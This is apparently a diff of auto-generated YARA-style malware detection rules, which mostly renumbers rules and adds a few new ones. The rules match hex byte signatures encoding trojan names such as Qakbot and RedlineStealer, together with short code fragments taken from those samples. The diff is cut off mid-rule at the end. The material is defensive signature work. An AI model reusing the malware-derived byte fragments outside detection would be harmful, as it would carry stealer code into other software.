8b 55 00 8b 0d 90 01 04 32 54 19 ff f6 d2 88 54 18 ff 43 4e 75 e2 90 00 00 00 78 48 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 69 6e 61 2e 47 31 00 05 00 0e 01 60 04 4f 31 6a da 10 10 41 5b 94 da 77 ee } //22330 + $a_6e_1 = {32 2f 49 6e 6a 65 63 74 6f 72 2e 42 41 21 4d 54 42 00 0a 00 18 03 8b 55 00 8b 0d 90 01 04 32 54 19 ff f6 d2 88 54 18 ff 43 4e 75 e2 90 00 00 00 78 48 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 4d 6f 6f 6e 2e 4d 52 21 4d 54 42 00 0a 00 18 01 8b ec 81 ec 08 00 00 } //22330 condition: ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*22330) >=5 } -rule _InfrastructureShared_3088{ +rule _InfrastructureShared_3145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 42 41 21 4d 54 42 00 0a 00 18 03 8b 55 00 8b 0d 90 01 04 32 54 19 ff f6 d2 88 54 18 ff 43 4e 75 e2 90 00 00 00 78 48 00 00 0a 00 0a 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 65 63 74 6f 72 2e 42 41 21 4d 54 42 00 0a 00 18 03 8b 55 00 8b 0d 90 01 04 32 54 19 ff f6 d2 88 54 18 ff 43 4e 75 e2 90 00 00 00 78 48 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3089{ +rule _InfrastructureShared_3146{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 4d 6f 6f 6e 2e 4d 52 21 4d 54 42 00 0a 00 18 01 8b ec 81 ec 08 00 00 00 b8 22 c4 00 10 50 8b 1d ce c4 00 10 85 db 74 09 00 00 78 48 00 00 0a 00 0a 00 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_3147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -31932,7 +32542,7 @@ rule _InfrastructureShared_3089{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14956) >=10 } -rule _InfrastructureShared_3090{ +rule _InfrastructureShared_3148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31942,7 +32552,7 @@ rule _InfrastructureShared_3090{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3091{ +rule _InfrastructureShared_3149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31952,7 +32562,7 @@ rule _InfrastructureShared_3091{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_3092{ +rule _InfrastructureShared_3150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31962,7 +32572,7 @@ rule _InfrastructureShared_3092{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_3093{ +rule _InfrastructureShared_3151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -31973,7 +32583,7 @@ rule _InfrastructureShared_3093{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30789) >=200 } -rule _InfrastructureShared_3094{ +rule _InfrastructureShared_3152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31983,7 +32593,7 @@ rule _InfrastructureShared_3094{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3095{ +rule _InfrastructureShared_3153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31993,7 +32603,7 @@ rule _InfrastructureShared_3095{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3096{ +rule _InfrastructureShared_3154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32003,7 +32613,7 @@ rule _InfrastructureShared_3096{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3097{ +rule _InfrastructureShared_3155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32013,7 +32623,7 @@ rule _InfrastructureShared_3097{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3098{ +rule _InfrastructureShared_3156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32023,7 +32633,7 @@ rule _InfrastructureShared_3098{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3099{ +rule _InfrastructureShared_3157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32033,7 +32643,7 @@ rule _InfrastructureShared_3099{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3100{ +rule _InfrastructureShared_3158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32043,7 +32653,7 @@ rule _InfrastructureShared_3100{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3101{ +rule _InfrastructureShared_3159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32053,7 +32663,7 @@ rule _InfrastructureShared_3101{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3102{ +rule _InfrastructureShared_3160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32063,7 +32673,7 @@ rule _InfrastructureShared_3102{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3103{ +rule _InfrastructureShared_3161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32073,7 +32683,7 @@ rule _InfrastructureShared_3103{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3104{ +rule _InfrastructureShared_3162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32083,7 +32693,7 @@ rule _InfrastructureShared_3104{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3105{ +rule _InfrastructureShared_3163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32093,7 +32703,7 @@ rule _InfrastructureShared_3105{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3106{ +rule _InfrastructureShared_3164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32103,7 +32713,7 @@ rule _InfrastructureShared_3106{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3107{ +rule _InfrastructureShared_3165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32113,7 +32723,7 @@ rule _InfrastructureShared_3107{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3108{ +rule _InfrastructureShared_3166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32123,7 +32733,7 @@ rule _InfrastructureShared_3108{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3109{ +rule _InfrastructureShared_3167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32133,7 +32743,7 @@ rule _InfrastructureShared_3109{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3110{ +rule _InfrastructureShared_3168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32143,7 +32753,7 @@ rule _InfrastructureShared_3110{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3111{ +rule _InfrastructureShared_3169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32153,7 +32763,7 @@ rule _InfrastructureShared_3111{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3112{ +rule _InfrastructureShared_3170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32163,7 +32773,7 @@ rule _InfrastructureShared_3112{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3113{ +rule _InfrastructureShared_3171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32173,7 +32783,7 @@ rule _InfrastructureShared_3113{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3114{ +rule _InfrastructureShared_3172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32183,7 +32793,7 @@ rule _InfrastructureShared_3114{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3115{ +rule _InfrastructureShared_3173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32193,7 +32803,7 @@ rule _InfrastructureShared_3115{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3116{ +rule _InfrastructureShared_3174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32203,7 +32813,7 @@ rule _InfrastructureShared_3116{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3117{ +rule _InfrastructureShared_3175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32213,7 +32823,7 @@ rule _InfrastructureShared_3117{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3118{ +rule _InfrastructureShared_3176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32223,7 +32833,7 @@ rule _InfrastructureShared_3118{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3119{ +rule _InfrastructureShared_3177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32233,7 +32843,7 @@ rule _InfrastructureShared_3119{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3120{ +rule _InfrastructureShared_3178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32243,7 +32853,7 @@ rule _InfrastructureShared_3120{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3121{ +rule _InfrastructureShared_3179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32253,7 +32863,7 @@ rule _InfrastructureShared_3121{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3122{ +rule _InfrastructureShared_3180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32263,7 +32873,7 @@ rule _InfrastructureShared_3122{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3123{ +rule _InfrastructureShared_3181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32273,7 +32883,7 @@ rule _InfrastructureShared_3123{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3124{ +rule _InfrastructureShared_3182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32283,7 +32893,7 @@ rule _InfrastructureShared_3124{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3125{ +rule _InfrastructureShared_3183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32293,7 +32903,7 @@ rule _InfrastructureShared_3125{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3126{ +rule _InfrastructureShared_3184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32303,7 +32913,7 @@ rule _InfrastructureShared_3126{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3127{ +rule _InfrastructureShared_3185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32313,7 +32923,7 @@ rule _InfrastructureShared_3127{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3128{ +rule _InfrastructureShared_3186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32323,7 +32933,7 @@ rule _InfrastructureShared_3128{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3129{ +rule _InfrastructureShared_3187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32333,7 +32943,7 @@ rule _InfrastructureShared_3129{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3130{ +rule _InfrastructureShared_3188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32343,7 +32953,7 @@ rule _InfrastructureShared_3130{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3131{ +rule _InfrastructureShared_3189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32353,7 +32963,7 @@ rule _InfrastructureShared_3131{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3132{ +rule _InfrastructureShared_3190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32363,7 +32973,7 @@ rule _InfrastructureShared_3132{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3133{ +rule _InfrastructureShared_3191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32373,7 +32983,7 @@ rule _InfrastructureShared_3133{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3134{ +rule _InfrastructureShared_3192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32383,7 +32993,7 @@ rule _InfrastructureShared_3134{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3135{ +rule _InfrastructureShared_3193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32393,7 +33003,7 @@ rule _InfrastructureShared_3135{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3136{ +rule _InfrastructureShared_3194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32403,7 +33013,7 @@ rule _InfrastructureShared_3136{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3137{ +rule _InfrastructureShared_3195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32413,7 +33023,7 @@ rule _InfrastructureShared_3137{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3138{ +rule _InfrastructureShared_3196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32423,7 +33033,7 @@ rule _InfrastructureShared_3138{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3139{ +rule _InfrastructureShared_3197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32433,7 +33043,7 @@ rule _InfrastructureShared_3139{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3140{ +rule _InfrastructureShared_3198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32443,7 +33053,7 @@ rule _InfrastructureShared_3140{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3141{ +rule _InfrastructureShared_3199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32453,7 +33063,7 @@ rule _InfrastructureShared_3141{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3142{ +rule _InfrastructureShared_3200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32463,7 +33073,7 @@ rule _InfrastructureShared_3142{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3143{ +rule _InfrastructureShared_3201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32473,7 +33083,7 @@ rule _InfrastructureShared_3143{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3144{ +rule _InfrastructureShared_3202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32483,7 +33093,7 @@ rule _InfrastructureShared_3144{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3145{ +rule _InfrastructureShared_3203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32493,7 +33103,7 @@ rule _InfrastructureShared_3145{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3146{ +rule _InfrastructureShared_3204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32503,7 +33113,7 @@ rule _InfrastructureShared_3146{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3147{ +rule _InfrastructureShared_3205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32513,7 +33123,7 @@ rule _InfrastructureShared_3147{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3148{ +rule _InfrastructureShared_3206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32523,7 +33133,7 @@ rule _InfrastructureShared_3148{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3149{ +rule _InfrastructureShared_3207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32533,7 +33143,7 @@ rule _InfrastructureShared_3149{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3150{ +rule _InfrastructureShared_3208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32543,7 +33153,7 @@ rule _InfrastructureShared_3150{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3151{ +rule _InfrastructureShared_3209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32553,7 +33163,7 @@ rule _InfrastructureShared_3151{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3152{ +rule _InfrastructureShared_3210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32563,7 +33173,7 @@ rule _InfrastructureShared_3152{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3153{ +rule _InfrastructureShared_3211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32573,7 +33183,17 @@ rule _InfrastructureShared_3153{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3154{ +rule _InfrastructureShared_3212{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 41 4a 21 4d 54 42 00 01 00 1f 01 01 13 06 11 04 11 06 16 7e 14 00 00 04 1c 94 fe 1c 0d 00 00 01 59 7e 14 00 00 04 1d 94 59 6f 00 00 78 49 00 00 01 00 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32583,7 +33203,7 @@ rule _InfrastructureShared_3154{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3155{ +rule _InfrastructureShared_3214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32593,7 +33213,27 @@ rule _InfrastructureShared_3155{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3156{ +rule _InfrastructureShared_3215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 74 2e 41 44 21 4d 54 42 00 01 00 1e 01 46 da 99 b3 94 e2 69 0a 48 5e 19 62 7e 0c 5e 37 20 46 cc 53 a8 d3 ff 30 31 8f 66 2f ae 61 00 00 78 49 00 00 01 00 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3216{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 72 61 67 74 6f 72 2e 52 59 21 4d 54 42 00 01 00 1b 01 0f ae 1c 24 e8 00 00 00 00 5d 48 81 ed 33 00 00 00 48 81 ed 54 41 74 01 81 fa 01 00 00 78 49 00 00 01 00 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32603,7 +33243,7 @@ rule _InfrastructureShared_3156{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3157{ +rule _InfrastructureShared_3218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32613,7 +33253,7 @@ rule _InfrastructureShared_3157{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3158{ +rule _InfrastructureShared_3219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32623,7 +33263,7 @@ rule _InfrastructureShared_3158{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3159{ +rule _InfrastructureShared_3220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -32633,7 +33273,7 @@ rule _InfrastructureShared_3159{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3160{ +rule _InfrastructureShared_3221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -32644,7 +33284,7 @@ rule _InfrastructureShared_3160{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*19759) >=1 } -rule _InfrastructureShared_3161{ +rule _InfrastructureShared_3222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -32655,28 +33295,58 @@ rule _InfrastructureShared_3161{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*30313) >=1 } -rule _InfrastructureShared_3162{ +rule _InfrastructureShared_3223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 03 13 4d 5f 25 90 09 03 00 81 7d 90 00 01 00 12 03 e8 86 74 0e 90 09 05 00 81 7d 90 01 01 52 90 90 90 00 00 00 78 49 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 52 50 41 21 4d 54 42 00 02 00 1b 01 8b 54 } //25635 - $a_1c_1 = {8b 74 24 10 88 1c 06 01 c8 89 44 24 24 8b 4c 24 14 39 c8 75 00 00 78 49 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 6f 66 74 79 2e 41 21 64 68 61 00 01 00 0d 01 41 56 43 4d 79 57 69 70 65 72 41 70 70 01 00 0d 01 41 56 43 4d 79 57 69 70 65 72 44 6c 67 00 00 78 49 00 00 02 00 02 00 02 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 65 64 69 61 4c 6f 61 64 59 54 2e 41 31 00 } //3108 + $a_1c_1 = {8b 74 24 10 88 1c 06 01 c8 89 44 24 24 8b 4c 24 14 39 c8 75 00 00 78 49 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 6c 69 6e 65 53 74 65 61 6c 65 72 2e 45 41 53 52 21 4d 54 42 00 02 00 12 01 0f b6 0c 01 33 ca 8b 55 f8 8b 42 04 8b 55 fc 88 0c 10 00 00 78 49 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 44 } //3108 condition: ((#a_5f_0 & 1)*25635+(#a_1c_1 & 1)*3108) >=1 } -rule _InfrastructureShared_3163{ +rule _InfrastructureShared_3224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 52 50 41 21 4d 54 42 00 02 00 1b 01 8b 54 24 0c 8a 1c 02 8b 74 24 10 88 1c 06 01 c8 89 44 24 24 8b 4c 24 14 39 c8 75 00 00 78 49 00 00 02 00 02 00 02 00 21 23 41 4c 46 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 52 50 41 21 4d 54 42 00 02 00 1b 01 8b 54 24 0c 8a 1c 02 8b 74 24 10 88 1c 06 01 c8 89 44 24 24 8b 4c 24 14 39 c8 75 00 00 78 49 00 00 02 00 02 00 01 00 21 23 41 4c 46 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3164{ +rule _InfrastructureShared_3225{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 6c 69 6e 65 53 74 65 61 6c 65 72 2e 45 41 53 52 21 4d 54 42 00 02 00 12 01 0f b6 0c 01 33 ca 8b 55 f8 8b 42 04 8b 55 fc 88 0c 10 00 00 78 49 00 00 02 00 02 00 01 00 21 23 48 53 54 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3226{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 44 41 4c 21 4d 54 42 00 02 00 19 03 8b d3 2b fb be 90 01 04 90 90 8a 0c 17 8d 52 01 88 4a ff 83 ee 01 75 90 00 00 00 78 49 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //18467 + condition: + ((#a_54_0 & 